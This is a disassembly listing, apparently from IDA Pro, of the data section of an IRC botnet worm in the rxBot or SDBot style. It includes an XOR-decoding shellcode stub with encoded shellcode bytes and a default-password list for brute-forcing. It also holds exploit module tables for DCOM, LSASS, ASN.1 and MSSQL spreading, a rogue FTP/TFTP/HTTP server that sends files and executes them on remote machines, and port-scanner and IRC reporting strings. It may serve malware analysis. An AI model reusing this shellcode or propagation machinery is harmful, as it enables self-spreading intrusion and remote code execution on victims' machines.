aAdministrator	db 'administrator',0    ; DATA XREF: sub_404F08+32o
					; .nsp0:0042C314o ...
		align 4
aAdmin		db 'admin',0            ; DATA XREF: sub_404F08+2Bo
					; .nsp0:0042C328o
		align 10h
aRoot		db 'root',0             ; DATA XREF: sub_404F08+24o
					; .nsp0:0042C330o ...
		align 4
aSa		db 'sa',0               ; DATA XREF: sub_404F08+19o
		align 4
dword_4265BC	dd 0C933FA8Bh, 909035B2h, 0C1816690h, 0C7830138h
					; DATA XREF: .nsp0:00405393o
		db 1Ah
; ---------------------------------------------------------------------------


loc_4265CD:				; CODE XREF: .nsp0:004265D4j
		mov	bl, [edi]
		xor	bl, dl
		mov	[edi], bl
		inc	edi
		loop	loc_4265CD
		ficom	word ptr [esi]
		dec	edi
		pop	esp
		aaa
		xor	[ecx+6Ch], bl
; ---------------------------------------------------------------------------
		dw 28CDh
		dd 0E4B9EBA9h, 36E14579h, 151512C5h, 66623D05h,	7066A07h
		dd 7979711Bh, 0DD30DE34h, 0CACACACCh, 1FD8B668h, 516C055Fh
		dd 75BE34BEh, 2945BE39h, 3D4DBE98h, 0BE096AB8h,	0BECE342Eh
		dd 0CE344D6Eh, 34297EBEh, 1166BECCh, 6466CF34h,	156EBE67h
		dd 0FC04CE34h, 0ACF50474h, 34BE01BEh, 0F70499CBh, 0F5B1D7E4h
		dd 833AC240h, 71B83070h, 0C533170h, 53D44025h, 6D6F2504h
		dd 6765636Bh, 74257B1Eh, 7F39823Ah, 34BD31BEh, 78833ACDh
		dd 0B871BC30h, 3078CBEDh, 78CB8B40h, 0CB144131h, 68B81778h
		dd 0E5CA662Dh, 315FF2BCh, 3070BD6Dh, 3F4270B5h,	0B54168B8h
		dd 0DC21135Eh, 0CACACA4Dh, 0EE04FBBCh, 66666666h, 0CA637363h
		dd 6D60A2E5h, 5F05BC53h, 0CA626025h, 637BE160h,	0F960CA62h
		dd 0CA626066h, 0B8A2E560h, 0CA65BD70h, 6060D160h, 0B8DD60CAh
		dd 0A1393071h, 501B5D66h, 695D504Dh, 0A1515856h, 70B8E704h
		dd 6262A1F9h, 0CB666662h, 67C734F3h, 4D70B8A1h,	0BD70B865h
		dd 663D8465h, 0CB255F66h, 666667FBh, 60CA6066h,	0CACA5FD9h
		dd 0D560h
word_426710	dw 7A69h		; DATA XREF: sub_4051BC+30r
		align 4
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_405409+5CDo
aQuit		db 'QUIT',0             ; DATA XREF: sub_405409+5B9o
					; sub_40CE55+534o
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_405409+5ACo
		align 4
dword_42675C	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_405409+561o
		dd 2029206Ch, 2BBBB02h
aFileSentToSOnP	db '  File sent to %s on port %d, now executing %s on remote machine.'
		db 0
		align 4
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_405409+542o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_405409+516o
		align 10h
aRetr		db 'RETR',0             ; DATA XREF: sub_405409+4FEo
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_405409+4E9o
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_405409+4D8o
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_405409+4A5o
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_405409+464o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_405409+42Bo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_405409+3FDo
		align 4
aList		db 'LIST',0             ; DATA XREF: sub_405409+3EAo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_405409+3AFo
		align 4
aPasv		db 'PASV',0             ; DATA XREF: sub_405409+39Co
		align 10h
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_405409+38Co
aI:					; DATA XREF: sub_405409+378o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_405409+351o
aA:					; DATA XREF: sub_405409+33Do
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_405409+326o
					; sub_405409+361o
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_405409+316o
		align 4
off_426918	dd offset dword_445750	; DATA XREF: sub_405409+302o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_405409+2F2o
		align 10h
aRest		db 'REST',0             ; DATA XREF: sub_405409+2DEo
		align 4
a215Fuckftpd	db '215 fuckFtpd',0Ah,0 ; DATA XREF: sub_405409+2CEo
		align 4
aSyst		db 'SYST',0             ; DATA XREF: sub_405409+2BAo
		align 10h
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_405409+2AAo
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_405409+296o
		align 10h
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_405409+286o
		align 4
aUser_0		db 'USER',0             ; DATA XREF: sub_405409+271o
					; .nsp0:0042C360o ...
		align 10h
aSS		db '%s %s',0            ; DATA XREF: sub_405409+260o
		align 4
a220Fuckftpd0wn	db '220 fuckFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_405409+1D8o
		align 10h
aRb		db 'rb',0               ; DATA XREF: sub_405A89+24o
					; sub_406C3E+12Eo ...
		align 4
unk_4269B4	db    2			; DATA XREF: sub_405B23+3F8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorServerFai	db 'Error: server failed, returned: <%d>.',0
		align 4
asc_4269FC	db 0Dh,0Ah,0		; DATA XREF: sub_405B23+2CFo
		align 10h
asc_426A00:				; DATA XREF: sub_405B23+293o
					; sub_40CE55+A8o ...
		unicode	0, < >,0
aGet		db 'GET ',0             ; DATA XREF: sub_405B23+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F7E+F6o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F7E+D3o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_405F7E+97o
					; sub_40AAD1+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405F7E+83o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_405F7E:loc_405FE3o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_405F7E+5Eo
		align 10h
unk_426C20	db    2			; DATA XREF: sub_406100+28Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_426C6C	db    2			; DATA XREF: sub_406100+20Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aWorkerThreadOf	db 'Worker thread of server thread: %d.',0
asc_426CB0:				; DATA XREF: sub_406100+157o
					; .nsp0:0042DFF8o
		unicode	0, <*>,0
asc_426CB4:				; DATA XREF: sub_406100+FBo
					; sub_4063B0+29o ...
		dw 0Ah
		unicode	0, <>,0
aSS_2		db '%s%s',0             ; DATA XREF: sub_406100+EAo
					; sub_4063B0+4CAo ...
		align 10h
aS_1		db '%s',0               ; DATA XREF: sub_406100+3Ao
					; sub_40A621+4Co ...
		align 4
aS_2		db '\%s',0              ; DATA XREF: sub_406100+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_4063B0+64Eo
		align 10h
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4063B0+633o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_4063B0+618o
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_4063B0+589o
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_4063B0+561o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_4063B0:loc_4068C8o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_4063B0+511o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_4063B0+471o
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_4063B0+434o
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_4063B0+401o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_4063B0:loc_406772o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_4063B0+3BBo
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_4063B0+374o
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4063B0+330o
					; sub_4063B0+486o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_4063B0+30Eo
		align 10h
aS_0		db '<%s>',0             ; DATA XREF: sub_4063B0+2E4o
					; sub_4063B0+413o
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_4063B0+2BAo
aAm		db 'AM',0               ; DATA XREF: sub_4063B0+290o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_4063B0+285o
		align 10h
a__0:					; DATA XREF: sub_4063B0+24Do
		unicode	0, <.>,0
a__		db '..',0               ; DATA XREF: sub_4063B0+232o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4063B0+1C0o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4063B0+147o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4063B0+12Bo
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4063B0+F7o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_4063B0+ADo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_4063B0+78o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4063B0+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406B1D+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_42716C	dd 4000500h, 7868746Bh,	0dword_427178	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_406C3E+47Fo
		dd 2029206Ch, 2BBBB02h
aFileSentToSExe	db '  File sent to %s, executing %s on remote machine.',0
		align 4
unk_4271C8	db    2			; DATA XREF: sub_406C3E+3B6o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileNotFoundOn	db '  File not found on %s, (%s).',0
		align 4
dword_427204	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_406C3E+399o
unk_427218	db    2			; DATA XREF: sub_406C3E+33Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFileSentToSE_0	db 'File sent to %s, executing %s on remote machine.',0
		align 4
unk_42726C	db    2			; DATA XREF: sub_406C3E+15Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToOpenFi	db 'Failed to open file: %s (possible virus scan!)',0
		align 4
unk_4272BC	db    2			; DATA XREF: sub_406C3E+6Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketF_1	db 'Error: socket() failed, returned: <%d>.',0
aOctet		db 'octet',0            ; DATA XREF: sub_406C3E+Fo
		align 10h
aDcom135_0	db 'dcom135',0          ; DATA XREF: sub_40778B+164o
		db 2 dup(0)
aDcom135	db 'Dcom135',0          ; DATA XREF: .nsp0:00404ACFo
		align 4
		dd 5 dup(0)
dword_427338	dd 87h							; sub_40CE55+2F87r ...
off_42733C	dd offset sub_4033CB	; DATA XREF: sub_40778B+1E6r
dword_427340	dd 0							; sub_402DDD+199r ...
dword_427344	dd 1		dword_427348	dd 0		aDcom445	db 'dcom445',0
		dd 63440000h, 34346D6Fh, 35h, 5	dup(0)
		dd 1BDh, 4033CBh, 0
		dd 1, 0
aDcom1025	db 'dcom1025',0
		align 2
aDcom1025_0	db 'Dcom1025',0
		align 4
		dd 5 dup(0)
		dd 401h, 4033CBh, 0
		dd 1, 0
aDcass		db 'dcass',0
		align 4
		dd 63640000h, 737361h, 6 dup(0)
		dd 1BDh, 402F84h, 0
		dd 2 dup(1), 7361736Ch,	35343473h, 736C0000h, 34737361h
		dd 3534h, 5 dup(0)
		dd 1BDh, 403C8Bh, 0
		dd 2 dup(1), 7361736Ch,	35333173h, 736C0000h, 31737361h
		dd 3533h, 5 dup(0)
		dd 87h,	403C8Bh, 0
		dd 2 dup(1), 7361736Ch,	39333173h, 736C0000h, 31737361h
		dd 3933h, 5 dup(0)
		dd 8Bh,	403C8Bh, 0
		dd 2 dup(1), 61736C63h,	7373h, 6C630000h, 73736173h, 6 dup(0)
		dd 1BDh, 402DDDh, 0
		dd 2 dup(1), 6C31736Ch,	73h, 736C0000h,	736C31h, 6 dup(0)
		dd 1BDh, 403E3Ch, 0
		dd 2 dup(1), 7173736Dh,	6Ch, 736D0000h,	6C7173h, 6 dup(0)
		dd 599h, 404F08h, 0
		dd 2 dup(1), 316E7361h,	6E626D73h, 736D0074h, 737361h
		dd 6 dup(0)
		dd 599h, 405168h, 0
		dd 2 dup(1), 6C616572h,	74736163h, 65520000h, 61636C61h
		dd 7473h, 5 dup(0)
		dd 22Ah, 4052FCh, 0
		dd 1, 0
aAsn1http	db 'asn1http',0
		align 2
aAsn1http_0	db 'asn1http',0
		align 4
		dd 5 dup(0)
		dd 50h,	404907h, 0
		dd 2 dup(1), 316E7361h,	626D73h, 73610000h, 6D73316Eh
		dd 62h,	5 dup(0)
		dd 1BDh, 404907h, 0
		dd 2 dup(1), 7361736Dh,	73h, 73610000h,	6D73316Eh, 746E62h
		dd 5 dup(0)
		dd 8Bh,	404907h, 0
		dd 2 dup(1), 0
aAsn1smbnt	db 'asn1smbnt',0
byte_4276A2	db 1			; DATA XREF: sub_40CE55:loc_411958r
					; sub_40CE55+4B0Do
aMsass		db 'msass',0
		align 4
		dd 100h, 3 dup(0)
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_407135+81o
		align 10h
aSD		db ' %s: %d,',0         ; DATA XREF: sub_407135+42o
		align 4
unk_4276DC	db    2			; DATA XREF: sub_407135+11o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aExploitStatist	db '  Exploit Statistics:',0
		align 4
unk_427714	db    2			; DATA XREF: sub_4071FF+42o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanNotActive_	db '  Scan not active.',0
unk_427748	db    2			; DATA XREF: sub_4071FF+2Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCurrentIpS_	db '  Current IP: %s.',0
		align 4
unk_42777C	db    2			; DATA XREF: sub_407276+36Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartS	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4277C4	db    2			; DATA XREF: sub_407276+307o
					; sub_40CE55+5039o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerListenin	db 'Server listening on IP: %s:%d, Directory: %s\.',0
		align 4
dword_427814	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_407276+267o
		dd 2029206Ch, 2BBBB02h
aFailedToStar_0	db '  Failed to start server, error: <%d>.',0
		align 4
dword_427858	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_407276+1FAo
		dd 2029206Ch, 2BBBB02h
aServerStartedO	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
unk_4278AC	db    2			; DATA XREF: sub_407276+149o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_1	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4278F4	db    2			; DATA XREF: sub_407276+DBo
					; sub_40CE55+4EC3o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerStarte_0	db 'Server started on Port: %d, File: %s, Request: %s.',0
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_407652+38o
					; sub_40A171+46o
unk_427954	db    2			; DATA XREF: sub_40778B+EBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOpen	db '  IP: %s, Port %d is open.',0
unk_427990	db    2			; DATA XREF: sub_40778B+93o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSDScanThread	db '  IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 10h
unk_4279E0	db    2			; DATA XREF: sub_40799F+1CEo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedAtSDAf	db '  Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_427A38	db    2			; DATA XREF: sub_40799F+173o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_2	db '  Failed to start worker thread, error: <%d>.',0
		align 4
unk_427A88	db    2			; DATA XREF: sub_40799F+103o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDScanThreadDS	db '  %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_427AD4	db    2			; DATA XREF: sub_40799F+87o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToInitia	db '  Failed to initialize critical section.',0
		align 10h
unk_427B20	db    2			; DATA XREF: sub_407BFE+156o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartC	db '  Failed to start client thread, error: <%d>.',0
		align 10h
unk_427B70	db    2			; DATA XREF: sub_407BFE+E1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnecti	db '  Client connection from IP: %s:%d, Server thread: %d.',0
unk_427BC8	db    2			; DATA XREF: sub_407D86+1AAo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_3	db '  Failed to start connection thread, error: <%d>.',0
		align 4
unk_427C1C	db    2			; DATA XREF: sub_407D86+E1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnec_0	db '  Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_427C74	db    2			; DATA XREF: sub_40800A+1B2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
